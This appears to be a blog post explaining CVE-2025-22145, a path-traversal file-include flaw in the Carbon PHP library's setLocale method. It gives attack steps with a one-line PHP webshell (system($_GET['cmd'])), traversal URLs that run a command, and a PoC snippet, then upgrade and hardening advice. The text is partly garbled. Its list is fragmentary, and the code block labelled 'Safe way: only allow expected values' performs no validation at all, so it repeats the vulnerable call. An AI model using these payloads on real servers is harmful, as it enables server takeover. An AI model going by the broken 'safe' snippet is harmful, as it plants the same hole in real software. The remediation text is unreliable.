Table of Contents

Introduction

In early 2025, security researchers discovered a serious vulnerability in the Carbon PHP extension for date and time handling. Labeled CVE-2025-22145, this vulnerability can allow attackers to execute arbitrary code on your web server if unsanitized user input is passed to the Carbon::setLocale method. This post will break down what went wrong, how attackers can exploit it, and how you can protect your app.

What is Carbon?

Carbon is a super popular PHP package for working with dates and times. It's used in thousands of projects, and many frameworks bundle it by default. A cool feature of Carbon is localization: you can call setLocale() so all dates and times appear in the user’s language.

use Carbon\Carbon;

Carbon::setLocale('fr'); // French
echo Carbon::now()->diffForHumans();

In this code, all the strings Carbon outputs (like "2 hours ago") show up in French. Simple, right?

How Does the Vulnerability Work?

The danger comes from how setLocale() works under the hood. If you feed it a string, it tries to load a locale file, like fr.php or en.php, from Carbon’s locale folder. But what if your code lets the user pick this value *without any checks*?

If the app lets users upload files (like profile pictures or documents), and these files can be PHP scripts, an attacker can upload a malicious PHP file to a folder that is readable by the PHP interpreter. Then, the attacker passes the uploaded filename (without the extension) as the locale parameter.

Eg:
Attacker uploads /uploads/badcode.php
Then, passes '../../uploads/badcode' to setLocale()

Carbon tries to include ../../uploads/badcode.php and the attacker's code runs.

Let’s see the vulnerable code

// BAD: $locale comes directly from user input
if (isset($_GET['lang'])) {
    Carbon::setLocale($_GET['lang']);
}

// ...later code that renders a page using Carbon

If no checks are done on $_GET['lang'], an attacker could do

https://your-app.example.com/?lang=../../uploads/badcode

Behind the scenes, Carbon does something like

include ".../locales/../../uploads/badcode.php";

If you let users upload PHP files in /uploads/, they now have code execution.

Step 1: The attacker uploads a file named badcode.php to /uploads/. The file might contain

<?php system($_GET['cmd']); ?>

Step 2: The attacker triggers the include via

https://your-app.example.com/?lang=../../uploads/badcode

Step 3: The attacker runs remote commands

https://your-app.example.com/?lang=../../uploads/badcode&cmd=ls

PoC in the Safe Environment

// Imagine user can upload badcode.php to /uploads/
// Now, attacker sets lang param:
$lang = '../../uploads/badcode';
Carbon::setLocale($lang); // will include the malicious file!

The site lets users upload PHP files (maybe by mistake).

2. The files are stored in /uploads/ and not protected from being included by PHP.

The app passes raw user data to setLocale.

4. The attacker uploads a PHP webshell to /uploads/.

Upgrade Carbon:

  composer require nesbot/carbon:^3.8.4
  

or

  composer require nesbot/carbon:^2.72.6
  

`php

// Safe way: only allow expected values

Carbon::setLocale($lang);

`

- Block PHP uploads or store uploads outside of web root.

- Don’t allow file inclusion from untrusted locations.

---

## References

- Carbon Releases Fix (GitHub)
- CVE-2025-22145 Record (NVD)
- How Arbitrary File Include Works (OWASP)
- Carbon Documentation

---

## Conclusion

CVE-2025-22145 is a great example of how a simple feature like language selection, when combined with careless input handling, can lead to full server compromise. If you use Carbon, update it right now and always sanitize anything users can change. Remember, never trust user input!

Timeline

Published on: 01/08/2025 21:15:13 UTC
Last modified on: 02/25/2025 13:15:10 UTC